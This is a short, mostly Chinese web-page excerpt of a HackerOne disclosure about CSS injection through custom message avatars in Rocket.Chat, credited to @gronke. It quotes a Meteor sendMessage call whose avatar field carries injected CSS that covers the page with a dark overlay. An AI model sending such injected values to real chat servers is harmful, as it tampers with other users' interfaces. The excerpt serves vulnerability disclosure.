CSS Injection in Message Avatar
该报告还没有中文解读。
原文摘录
摘自原文（1493 字符中的一小部分）
Custom message avatars can contain inline CSS that influences the resulting HTML element rendering.
原文中的代码
Meteor.call("sendMessage", {
rid: "<ROOM OR DM ID>",
avatar: "none);position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;background-color:black;opacity:0.5;pointer-events:none;",
msg: "Enjoy the Dark Theme!",
alias: "hacker"
});默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Rocket.Chat 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @gronke · 版权归作者与 Rocket.Chat 所有